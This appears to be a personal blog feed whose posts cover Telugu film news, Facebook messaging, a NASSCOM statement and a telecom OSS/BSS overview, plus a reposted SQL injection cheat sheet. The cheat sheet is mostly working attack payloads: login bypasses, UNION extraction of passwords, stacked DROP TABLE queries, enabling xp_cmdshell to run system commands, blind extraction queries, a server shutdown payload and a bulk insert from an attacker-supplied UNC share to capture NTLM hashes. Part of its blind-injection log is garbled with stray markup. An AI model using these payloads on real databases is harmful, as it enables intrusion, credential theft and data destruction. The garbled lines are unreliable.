Welcome to The World !!

noreply@blogger.com (Dileep Varma) — Sat, 09 Jun 2012 12:01:00 +0000

noreply@blogger.com (Dileep Varma) — Tue, 05 Jun 2012 17:46:00 +0000

Pawan Kalyan And Puri Jaganath New movie

noreply@blogger.com (Dileep Varma) — Fri, 10 Feb 2012 19:48:00 +0000

Cameraman Ganga Tho Rambabu ....

Will Rock soon............................

Cast:
Pawan Kalyan
Kajal Agarwal

Producer
D.V. Danaiah

Director
Puri Jaganath

Pawan Kalyan With Puri Jaganath

noreply@blogger.com (Dileep Varma) — Mon, 23 Jan 2012 18:04:00 +0000

Latest News is Puri is directing movie with Pawan Kalyan.

Lets Wait for more updates...

Gabbar singh Trailer

noreply@blogger.com (Dileep Varma) — Mon, 23 Jan 2012 18:00:00 +0000

Gabbar Singh Trailer is going to release on Feb 14, 2012,

Watch this space for more updates !!!!

Panjaa New Trailer HD

noreply@blogger.com (Dileep Varma) — Sun, 04 Dec 2011 15:27:00 +0000

Panjaa New Trailer HD

http://www.youtube.com/watch?feature=player_embedded&v=GSiS-WPS7Js

Aishwarya Rai Daughter pic First on Net

noreply@blogger.com (Dileep Varma) — Sun, 04 Dec 2011 15:23:00 +0000

Aishwarya Rai Daughter pic First on Net

Here It is..............................
Enjoy

Pawan Kalyan Panjaa Trailer

noreply@blogger.com (Dileep Varma) — Thu, 03 Nov 2011 16:15:00 +0000

Pawan Kalyan Panjaa Trailer

Formula 1™ - The Official F1™ Website

noreply@blogger.com (Dileep Varma) — Wed, 02 Nov 2011 14:31:00 +0000

BROWSE THE SITE FOR FORMULA 1 UPDATES

http://www.formula1.com

Buy Canon DSLR for Free

noreply@blogger.com (Dileep Varma) — Wed, 19 Oct 2011 15:31:00 +0000

Cloud Computing PPT

noreply@blogger.com (Dileep Varma) — Wed, 10 Aug 2011 12:28:00 +0000

Just Surfing around some sites ..Got Some basic Stuff on Cloud Computing.

It will Really Help you Guys to get more about Cloud Computing.

Here is the Link to Download. Post ur comments :)

Cloud Computing ppt

Testing based on Cloud Computing PPT

Cheers !!

Nasscom Statement on Current US downgrade

noreply@blogger.com (Dileep Varma) — Wed, 10 Aug 2011 12:17:00 +0000

Nasscom Statement on Current US downgrade from AAA to AA+

India's software services sector, which gets more than half of its revenue from the United States, is unlikely to be affected in the near-term after the U.S. sovereign debt rating downgrade by Standard & Poor's, a leading IT industry lobby group said. "Although the global economic environment is a cause for concern, it is not likely to impact the Indian IT industry in the near-term," the National Association of Software & Services Companies (NASSCOM) said in a statement on Monday. "

So Techies Dont Get too much worry. Stay longer in your current Current Company :)

Cheers !!

Facebook Announces New Messaging System: “It’s Not E-mail”

noreply@blogger.com (Dileep Varma) — Mon, 15 Nov 2010 19:01:00 +0000

Facebook Announces New Messaging System: “It’s Not E-mail”

Facebook is set to launch a new “modern messaging system,” said CEO Mark Zuckerberg at a press event this morning in San Francisco.

Zuckerberg says that more than 4 billion messages are currently sent through Facebook each day. He also shared that Facebook believes that modern messaging is seamless, informal, immediate, personal, simple and minimal. “It’s not e-mail,” he said.

Interestingly enough, Facebook is handing out facebook.com e-mail addresses to all users. The system, however, is really modeled after chat according to Andrew Bosworth. “People should share however they want to share,” he says.

The new messaging system is composed of three parts: seamless messaging, cross-platform conversation history and the social inbox. The latter is an inbox for filtering the messages you want, organized by the people you care about. So, it’s designed to highlight conversations with your real friends and be spam free.

According to the blog post, “Messages is not email. There are no subject lines, no cc, no bcc, and you can send a message by hitting the Enter key.”

The messaging system is also designed to be platform-agnostic, so users can send and receive messages via mobile, IM or Facebook. It’s designed to make it simpler for users to communicate in real-time with their real friends, wherever they are. The system will be rolled out slowly over the next few months in an invite-only process, says Zuckerberg.

Zuckerberg also extensively talked about how people use messaging systems today. In conversations with high schoolers, Zuckerberg recounted that these youngsters told him that e-mail is too slow and that they prefer SMS and Facebook to sending e-mails. These conversations laid the foundation for the reasoning behind Facebook’s motivation to create a seamless, immediate and personal experience around messaging.

As soon as the event was announced last week, speculation ran rampant that Facebook would be overhauling its messaging system and releasing its own e-mail service to compete with the likes of Gmail. E-mail, however, seems secondary to Facebook’s primary desire to be the communication platform for tomorrow’s youth.

Facebook email Invitation

noreply@blogger.com (Dileep Varma) — Mon, 15 Nov 2010 18:43:00 +0000

Facebook email Invitation
Facebook e-mail Invitation
FBmail Invitation.

Follow This Link

http://www.facebook.com/about/messages/
Click on Invite Button.

Prabhas New Movie Mr. Perfect Prabas and Kajal

noreply@blogger.com (Dileep Varma) — Wed, 10 Nov 2010 07:23:00 +0000

Prabhas New Movie Mr. Perfect Kajal Agarwal

Khushiga Trailer

noreply@blogger.com (Dileep Varma) — Tue, 02 Nov 2010 09:30:00 +0000

Khushiga Trailer will be coming soon....

Pawan Kalyan Khushiga Heroine Kriti Kharbanda

noreply@blogger.com (Dileep Varma) — Mon, 01 Nov 2010 12:04:00 +0000

Kriti Kharbanda Pics

SQL Injection

noreply@blogger.com (Dileep Varma) — Thu, 14 Oct 2010 17:41:00 +0000

Find and exploit SQL Injections with Free SQL Injection Scanner

SQL Injection Cheat Sheet, Document Version 1.4
About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;

* (MS) means : MySQL and SQL Server etc.
* (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

1. About SQL Injection Cheat Sheet
2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
1. Line Comments
* SQL Injection Attack Samples
2. Inline Comments
* Classical Inline Comment SQL Injection Attack Samples
* MySQL Version Detection Sample Attacks
3. Stacking Queries
* Language / Database Stacked Query Support Table
* About MySQL and PHP
* Stacked SQL Injection Attack Samples
4. If Statements
* MySQL If Statement
* SQL Server If Statement
* If Statement SQL Injection Attack Samples
5. Using Integers
6. String Operations
* String Concatenation
7. Strings without Quotes
* Hex based SQL Injection Samples
8. String Modification & Related
9. Union Injections
* UNION – Fixing Language Issues
10. Bypassing Login Screens
11. Enabling xp_cmdshell in SQL Server 2005
12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

* -- (SM)
DROP sampletable;--

* # (M)
DROP sampletable;#

Line Comments Sample SQL Injection Attacks

* Username: admin'--
* SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

* /*Comment Here*/ (SM)
o DROP/*comment*/sampletable
o DR/**/OP/*bypass blacklisting*/sampletable
o SELECT/*avoid-spaces*/password/**/FROM/**/Members

* /*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

* ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

* SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks

* ID: /*!32302 10*/
* ID: 10
You will get the same response if MySQL version is higher than 3.23.02

* SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

* ; (S)
SELECT * FROM members; DROP members--

Ends a query and starts a new one.
Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown
SQL Server MySQL PostgreSQL ORACLE MS Access
ASP
ASP.NET
PHP
Java

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples

* ID: 10;DROP members --
* SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.
If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement

* IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL Server If Statement

* IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

* 0xHEXNUMBER (SM)
You can write hex like these;

SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation

* + (S)
SELECT login + '-' + password FROM members

* || (*MO)
SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

* CONCAT(str1, str2, str3, ...) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

* 0x457578 (M) - Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

* Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.

* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.

Hex based SQL Injection Samples

* SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:\boot.ini

String Modification & Related

* ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

SELECT ASCII('a')

* CHAR() (SM)
Convert an integer of ASCII.

SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

* SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

* MySQL (M)
Hex() for every possible issue

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

* admin' --
* admin' #
* admin'/*
* ' or 1=1--
* ' or 1=1#
* ' or 1=1/*
* ') or '1'='1--
* ') or ('1'='1--
* ....

* Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)

In the same order,

* ' HAVING 1=1 --
* ' GROUP BY table.columnfromerror1 HAVING 1=1 --
* ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
* ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
* If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

* ORDER BY 1--
* ORDER BY 2--
* ORDER BY N-- so on
* Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.
Hints,

* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

* ' union select sum(columntofind) from users-- (S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

If you are not getting error it means column is numeric.

* Also you can use CAST() or CONVERT()
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.

* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.

* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.

* 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.

* 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...

Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)

* Error Messages
master..sysmessages

* Linked Servers
master..sysservers

* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

1. Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'

2. Registry Stuff (xp_regread)
1. xp_regaddmultistring
2. xp_regdeletekey
3. xp_regdeletevalue
4. xp_regenumkeys
5. xp_regenumvalues
6. xp_regread
7. xp_regremovemultistring
8. xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)

When you really pissed off, ';shutdown --
Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)

* Modify WHERE and use NOT IN or NOT EXIST,
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

* Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21 Fast way to extract data from Error Based SQL Injections in SQL Server (S) ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article : Fast way to extract data from Error Based SQL Injections
Blind SQL Injections
About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)">89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)">83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)">80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-- productid =" 1;waitfor" productid ="1);waitfor" productid ="1';waitfor" productid ="1');waitfor" productid ="1));waitfor" productid ="1'));waitfor" username =" 'root')" id="4" id="5-1" id="4" 1="1" name="Book" name="Bo’%2b’ok" name="Bo’" name="Book’" user =" ‘root’;" user_group =" 1;" user="1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1" user="1+union+select+benchmark(500000,sha1">> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

* MD5()
MD5 Hashing
* SHA1()
SHA1 Hashing

* PASSWORD()
* ENCODE()
* COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
* ROW_COUNT()
* SCHEMA()
* VERSION()
Same as @@version

Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

noreply@blogger.com (Dileep Varma) — Thu, 14 Oct 2010 17:41:00 +0000

Adobe Flex Sample code

noreply@blogger.com (Dileep Varma) — Tue, 12 Oct 2010 19:31:00 +0000

Adobe Flex Sample code, Adobe Flex Sample project, Adobe Flex Sample code
Flex projects, download flex project, Adobe flex

http://www.avaxdownload.com/

Telecom Testing

noreply@blogger.com (Dileep Varma) — Sun, 12 Sep 2010 20:36:00 +0000

Telecom OSS/BSS: An Overview
1. Introduction

Before the initial 1970s, most of the support activities in a telephone company such as taking orders, maintaining network inventory, provisioning services (for example, line assignment and testing), configuring network components, managing faults and collecting payments were performed manually. It was realized that many of these activities could be replaced by computers. In the next few years, a number of computer systems and software applications were created to automate these activities. Examples include TIRKS, RMAS, SES, etc. Thus came the term Operations Support Systems (OSS).
OSS are “network systems” dealing with the communications network and supporting processes such as maintaining network inventory, provisioning services, configuring network components, managing faults.

Business Support Systems (BSS) is a newer term and typically refers to “business systems” dealing with customers and support processes such as taking orders, processing bills, collecting payments, sales and marketing, supporting customer care agents in response to service requests, trouble reporting and billing inquiries, etc.

OSS and BSS systems together are often abbreviated as BSS/OSS or B/OSS. The term OSS was historically used to include both network and business systems. Some industry analysts, system integrators and service providers still use the term OSS to include both network and business systems, which sometimes causes confusion.

This article provides an overview of some of the core areas in OSS and BSS such as Order Fulfillment, Service Assurance and Billing systems. The following BSS/OSS systems are covered:
• Order Fulfillment – Order Management, Service Provisioning and Inventory Management
• Service Assurance - Fault & Trouble Management, Network Performance Management, Topology & Configuration Management, Planning & Testing
• Billing - Billing Mediation, Rating, Billing Systems, Interconnection Billing, Revenue Assurance
The article explains some of the basic functions of these systems. However, this article doesn't intend to provide extensive details. For an extensive overview of business activities, business process and functions, refer to standards such as eTOM and TAM at http://www.tmforum.org/.

2. The Realm of OSS/BSS in Order Fulfillment, Assurance and Billing

2.1 Order Fulfillment

Communications products/services could range from Voice services to IP and Data services to Hosting and CPE services. Some of the examples of communications products/services are:
• Voice – Basic telephony, long distance, toll-free, Voice over IP (VoIP), Contact Center, Local Access, etc.
• Internet Protocol (IP) – Internet Access, VPN, Contact Center, VoIP, Remote Access, etc.
• Data – Layer 1 Wide Area Network (WAN) Services such as SONET, Layer 2 WAN services such as ATM, Frame Relay, Private Lines, Layer 2 VPN and Metro Ethernet, etc.
• Hosting – Custom Application Environments, Disaster Recovery, Managed Services such as storage, security and network services, Web Site Hosting, etc.
Order Fulfillment functions are a critical set of activities performed in order to fulfill customer orders for services in a Communications Service Provider (CSP) environment.
The following figure shows a very high-level view of activities performed in a typical CSP environment.

After order entry, validation and submission, orders are decomposed and sent for provisioning. Upon fulfilling the decomposed orders and appropriate testing of the circuits, the orders are put into inventory. The following sub-sections explain the Order Fulfillment related functions and OSS/BSS systems.

2.1.1 Order Management

Order Management systems are complex systems that allow customer or customer service representatives to capture and process new orders, modify existing orders, process customer moves and changes, price quotes and orders, validate orders, etc., while supporting multiple channels such as Web, Order template documents and partner applications as well as multiple lines of businesses.

Order Management includes the following areas:
• Order Entry and validation – The Order Entry process captures order details such as package or plan, service address, service details, customer accounts, relevant contacts and applicable contracts. Data entered during Order Entry is also validated against predetermined rules.
Orders can be validated as the data is entered and/or validation after all the data has been entered. Products/solutions that validate order data as they are entered and walk the user through the product configuration process are known as “Product Configurators”. One of such tools available in the market is Selectica COnfigurator.
• Order Decomposition – A single customer order can be decomposed into one or more service requests, typically based on service types or quantities, in order to be able to fulfill an order.
For example, if a customer order contains both a VoIP order and a phone line order, two service requests would be created, one each for VoIP and the phone line, each of which would be sent to the appropriate provisioning systems.
One of the major problems service providers often grapple with is that, as new services are added to the offerings, led by different business units, the lack of flexible order management platform results in product/service specific OSS/BSS applications. These in turn result in higher time-to-market as well as increased costs of maintaining many different applications and systems. Product catalog based Order Management solutions attempt to solve these problems by storing and processing qualification rules for services based on customer profiles, ordering channels, service locations, product interdependencies, availability, customer eligibility and other business constraints.

2.1.2 Service Provisioning

Service Provisioning systems are systems used to setup products/services for the customer after an order for the services has been created and accepted by the CSP.

Service provisioning activities include specifying the pieces of equipment and parts of the network to fulfill the service, configuring the customer’s routing path, allocation of bandwidth in the transport network, setting up of wiring and transmission, etc.

Some of the systems that constitute provisioning systems are: Circuit Design & Assignment Tools, Activation systems, and Field Service Management systems.

Circuit design refers to specifying whether facilities exist to provide the service and which pieces of the network equipment and routes the service shall utilize.

One of the most widely used systems providing Circuit Design facility is Telcordia TIRKS. Apart from Circuit Design support, it also provides circuit order control, inventory record maintenance, selection and assignment of components from inventory, and preparation and distribution of circuit work orders. The order control module in TIRKS works with a circuit provisioning system and operates in conjunction with other TIRKS components to assign facility and equipment information for circuit orders and design circuits. TIRKS can then provide automated design criteria for certain circuit orders. The circuit design generated in TIRKS is then communicated to field operations or automated activation systems for implementation.

Circuit Design and Assignment tools these days often have graphical tools that allow a user to create services on a network map using mouse clicks and drag-and-drop rather than drawing maps by hand or using an abstract set of equipment identifiers displayed in a table.

After a service is designed based on the existing equipment and circuit inventory, it is ready to be activated. If new equipment or lines need to be configured manually, a Field Service Management (FSM) system is notified which in turn dispatches technicians.

Moreover, certain activations can be performed automatically. For example, issuing commands to ATM or circuit switches to provision circuits, to SONET terminals to allocate bandwidth, and to a wide array of access devices such as DSLAMS, Digital Loop Carriers (DLC), or cable modems. For such activations, Service Activation systems pass the device specific commands and configuration changes to the network elements, Element Management Systems (EMS), Network Management Systems (NMS) or application hosts.

EMSs are designed to receive and execute commands sent by activation systems on the devices. EMSs can also feed equipment status data back to network and trouble management systems. EMSs use protocols such as Common Management Information protocol (CMIP) or Transaction Language (TL) or Simple Network Management Protocol (SNMP) to communicate with activation and other systems.

Activation systems often comprise a library of adapters to various network systems. They usually also support transaction control, i.e. the capability to roll-back operations already performed, in case an error occurs.
